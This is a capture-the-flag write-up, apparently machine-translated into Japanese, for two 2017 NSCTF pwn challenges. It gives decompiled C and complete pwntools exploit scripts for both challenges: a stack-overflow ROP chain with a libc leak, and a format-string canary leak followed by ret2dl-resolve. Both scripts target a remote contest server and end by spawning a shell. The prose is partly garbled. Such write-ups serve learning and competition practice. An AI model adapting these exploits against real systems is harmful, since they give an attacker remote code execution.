緑盟杯NSCTF(CCTF)2017 pwn writeup

19452 ワード

前言
試合にはツッコミに値するところが無数にあり、その中で最も重要なのは、タイトルがpwnのlibcに与えられたことだが、特に間違っている.つまりlibcを与えたが、実は運/libc解がないと思って、ついでにこの2つの水題を記録した.
pwn1
ぶんせき
main
int __cdecl main()
{
  alarm(0x1u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("[*]Put Your Name:");
  do_main();
  return 0;
}

do_main:
ssize_t do_main()
{
  char buf; // [sp+10h] [bp-88h]@1

  read(0, &buf, 0x100u);
  return write(1, &buf, 0x100u);
}

論理は簡単で、readはスタックに入力されたbufを読み取り、write出力します.サイズはいずれも0 x 100ですが、bufのサイズはそれほど大きくありません.だからスタックオーバーフローがあります.テーマのsecはあります.
[*] '/home/vagrant/ctf/contests/nsctf-2017/pwn/pwn1/pwn1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

考え方:1.readはオーバーフローを引き起こし、その後、戻りアドレスがread関数の位置を指すように制御し、パラメータを設定し、readからelfのdataセグメントはPIEが開かないため、dataセグメントの位置は固定される.その後の戻りアドレスはmainの開始を指し、再びmain 2に入る.その後read関数に入り、dataセグメントに読み込み、/bin/shx 00文字列に書き込みます.3.再びmainに入り、今度の制御はアドレスを返してwrite関数の位置を指し、bufがreadをplt.に指すようにパラメータを設定する.gotの位置は、writeがreadのアドレスを漏らすようにし、その後の次の戻りアドレスは再びmainの開始を指し、main 4に入る.3回目のmainに入ると、read関数のアドレスを取得し、libcのベースアドレスを計算し、systemアドレスを取得しました./bin/shx 00の位置は私たち自身が2ステップ目に書き込んだので、パラメータを設定し、systemに戻ればいいことがわかります.
exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')

DEBUG = 0
UBUNTU = 1
GDB = 0
if DEBUG:
    p = process("./pwn1")
    if UBUNTU:
        libc = ELF("/lib/i386-linux-gnu/libc.so.6")
    else:
        libc = ELF("/usr/lib32/libc.so.6")
else:
    libc = ELF("./libc-2.19.so")
    p = remote('116.62.63.190', 8888)

def main():
    if DEBUG:
        offset = 0x1b2000
    else:
        offset = 0x1a2000

    if GDB:
        raw_input()

    read_addr = 0x080483f0
    write_addr = 0x08048440
    do_main_addr = 0x0804854d

    p.recvline()
    payload_prefix = '/bin/sh\x00'.ljust(140, 'a')
    payload = payload_prefix
    payload += p32(do_main_addr)

    p.send(payload)
    raw_input()

    recved = p.recv()

    buf = 0x804a000
    payload = payload_prefix
    payload += p32(read_addr)
    payload += p32(do_main_addr)
    payload += p32(0) # fd
    payload += p32(buf) # buf
    payload += p32(8)

    p.send(payload)
    raw_input()
    p.recv()

    p.send('/bin/sh\x00')
    raw_input()

    read_plt_addr = 0x0804a010
    payload = payload_prefix
    payload += p32(write_addr)
    payload += p32(do_main_addr)
    payload += p32(1) # fd
    payload += p32(read_plt_addr)
    payload += p32(4)

    p.send(payload)
    read_in_libc = u32(p.recv()[-4:])
    log.info('read in libc {}'.format(hex(read_in_libc)))
    libc_base = read_in_libc - libc.symbols['read']
    log.info('libc base {}'.format(hex(libc_base)))


    system_addr = libc_base + libc.symbols['system']
    log.info('system at {}'.format(hex(system_addr)))
    raw_input()
    payload = payload_prefix
    payload += p32(system_addr)
    payload += p32(0xdeadbeef)
    payload += p32(buf)

    p.send(payload)
    p.recv()
    p.sendline('cat flag')
    p.recv()

if __name__ == "__main__":
    main()

注意すべき点
  • libcは間違っているようで、readをplt.で試しただけです.got中のオフセット量が漏れるのは正しいが、他は間違っている可能性があり、得られたlibc baseがページ整列であるか否かで大まかに判断できる
  • .
  • /bin/shには必ずx 00があり、直接search/bin/shにはx 00がないと問題があるようです
  • alarmは時間が短いのでinteractiveはできませんが、直接cat flagでいいです.expのたびにコマンドを出して、初めてlsを先にして、flagがあるかどうかを知ることができます.
  • writeは直接いくつかのアドレスを与えます.スタックアドレスとlibcに近いアドレスが含まれていますが、あまり安定していないようです.そのため、私はこのような複雑な方法
  • を交換しました.
  • read read终わらないと后ろから送られてきた文字を一枚につなげてraw_input切断またはsleepで
  • 切断
    pwn2
    ぶんせき
    main
    int __cdecl main()
    {
      char v1; // [sp+1Bh] [bp-5h]@3
      __pid_t forked_pid; // [sp+1Ch] [bp-4h]@8
    
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      setbuf(stderr, 0);
      while ( 1 )
      {
        write(1, "[*] Do you love me?[Y]
    "
    , 0x17u); if ( getchar() != 'Y' ) break; v1 = getchar(); while ( v1 != 10 && v1 ) ; forked_pid = fork(); if ( forked_pid ) { if ( forked_pid <= 0 ) { if ( forked_pid < 0 ) exit(0); } else { wait(0); // parent wait } } else { child_main(); } } return 0; }

    child_main
    int child_main()
    {
      char *s; // ST18_4@1
      int buf; // [sp+1Ch] [bp-1Ch]@1
      int v3; // [sp+20h] [bp-18h]@1
      int v4; // [sp+24h] [bp-14h]@1
      int v5; // [sp+28h] [bp-10h]@1
      int v6; // [sp+2Ch] [bp-Ch]@1
    
      v6 = *MK_FP(__GS__, 20);
      buf = 0;
      v3 = 0;
      v4 = 0;
      v5 = 0;
      s = (char *)malloc(0x40u);
      do_input(&buf);
      sprintf(s, "[*] Welcome to the game %s", &buf);
      printf(s);
      puts("[*] Input Your Id:");
      read(0, &buf, 0x100u);
      return *MK_FP(__GS__, 20) ^ v6;
    }

    do_input
    int __cdecl sub_804876D(void *a1)
    {
      size_t v1; // ST18_4@1
      char s; // [sp+1Ch] [bp-4Ch]@1
      int v4; // [sp+5Ch] [bp-Ch]@1
    
      v4 = *MK_FP(__GS__, 20);
      memset(&s, 0, 0x40u);
      puts("[*] Input Your name please:");
      __isoc99_scanf("%s", &s);
      v1 = strlen(&s);
      memcpy(a1, &s, v1 + 1);
      return *MK_FP(__GS__, 20) ^ v4;
    }

    脆弱性の位置はスタックオーバーフローであり、フォーマット文字列を追加してsecをオンにします.
    [*] '/home/vagrant/ctf/contests/nsctf-2017/pwn/pwn2/pwn2'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)

    今回はcanaryがありましたが、forkを見てもわかるはずです.の
    考え方1(失敗):1.forkのcanaryは変わらず、フォーマット文字列でcanary 2を手に入れる.フォーマット文字列によりgotテーブルの関数アドレスを取得するlibc位置とsystemアドレス3を決定する.従来の方法では、readを構築して/bin/shx 00を既知の位置に読み込み、最初に戻り、再び読み込み、ipを再制御し、パラメータを設定してsystemにジャンプします.
    この考え方は最後に失敗しました.原因は、問題が与えたlibcに問題があり、gotテーブル関数を漏らした後、libcベースアドレスが得られず、systemアドレスが得られません.
    考え方2(return to dl-resolve):1.同様の方法でcanary 2を漏らす.構築read読み込み/bin/shx 00およびroputils構築dl_resolve_data、それから最初の3に戻ります.ポインタを再制御しdl resolveでsystemに入ります
    exp
    私は考え方1から直接考え方2に変更したので、少し乱れているかもしれませんが、注釈の多くは考え方1のコードです.
    from pwn import *
    import roputils
    context(os='linux', arch='i386', log_level='debug')
    
    DEBUG = 1
    GDB = 1
    elf = ELF("./pwn2")
    if DEBUG:
        p = process("./pwn2")
        libc = ELF("/lib/i386-linux-gnu/libc.so.6")
    else:
        p = remote("116.62.63.190", 8111)
        libc = ELF("./libc-2.19.so")
    
    
    def leak_canary():
        p.recvuntil('[Y]')
        p.sendline('Y')
        raw_input()
        p.recvuntil('please:')
        p.sendline('%11$x')
        raw_input()
        p.recvuntil('game ')
        canary = p.recvuntil('[*')[:-2]
        canary = int(canary, 16)
        log.info('get canary {}'.format(hex(canary)))
        p.recvuntil('Id:')
        p.sendline()
        raw_input()
        return canary
    
    def leak_libc():
        leaked_printf = leak(elf.got['read'])
        log.info('leaked printf {}'.format(hex(leaked_printf)))
        libc_base = leaked_printf - libc.symbols['read']
        log.info('libc base {}'.format(hex(libc_base)))
        return libc_base
    
    def leak(addr):
        p.recvuntil('[Y]')
        p.sendline('Y')
        raw_input()
        p.recvuntil('please:')
        payload = 'ABCD' + '%9$s' + p32(addr)
        p.sendline(payload)
        raw_input()
        p.recvuntil('game ')
        leaked_data = p.recvuntil('[*').split('ABCD')[1][:4]
        leaked_exact = u32(leaked_data[:4])
        p.recvuntil('Id:')
        p.sendline()
        raw_input()
        return leaked_exact
    
    
    def main():
        if GDB:
            raw_input()
        rop = roputils.ROP("./pwn2")
        canary = leak_canary()
        #libc_base = leak_libc()
    
        p.recvuntil('[Y]')
        p.sendline('Y')
        raw_input()
        #system_addr = libc_base + libc.symbols['system']
        read_in_plt = 0x08048888
        read_in_plt = 0x08048570
        back_to_read = 0x080487fa
        buf = 0x804a120
        #buf = elf.bss()
        buf_dl_resolve = buf + 0x20
    
        payload_prefix = 'a' * 16 + p32(canary) + 'b' * 12
        payload = payload_prefix
        payload += p32(read_in_plt) + p32(back_to_read) + p32(0) + p32(buf) + p32(0x100)
    
        p.recvuntil('please:')
        p.sendline('wtf')
        raw_input()
        p.recvuntil('Id:')
        p.send(payload)
        raw_input()
        p.send('/bin/sh\x00'.ljust(0x20, '\x00') + rop.dl_resolve_data(buf_dl_resolve, 'system'))
        #p.send('/bin/sh\x00')
        raw_input()
    
        payload = payload_prefix
        payload += rop.dl_resolve_call(buf_dl_resolve, buf)
        #payload += p32(system_addr) + p32(0xdeadbeef) + p32(buf)
        p.recvuntil('please:')
        p.sendline('wtttf')
        raw_input()
        p.recvuntil('Id')
        p.send(payload)
        raw_input()
        p.interactive()
    
    if __name__ == '__main__':
        main()

    注意すべき点
  • readもraw_を使用する必要がありますinput切断
  • dl_resolve_dataの书き込みの位置は特に注意しなければならなくて、多くいくつかの位置を试みる必要があるかもしれなくて、bssのある内容をカバーすることができなくて、あまりおかしくなくて、すべて奇奇怪怪のseg faultが现れることを招いて、この问题のため私の差数分、この问题を落とすことができませんでした..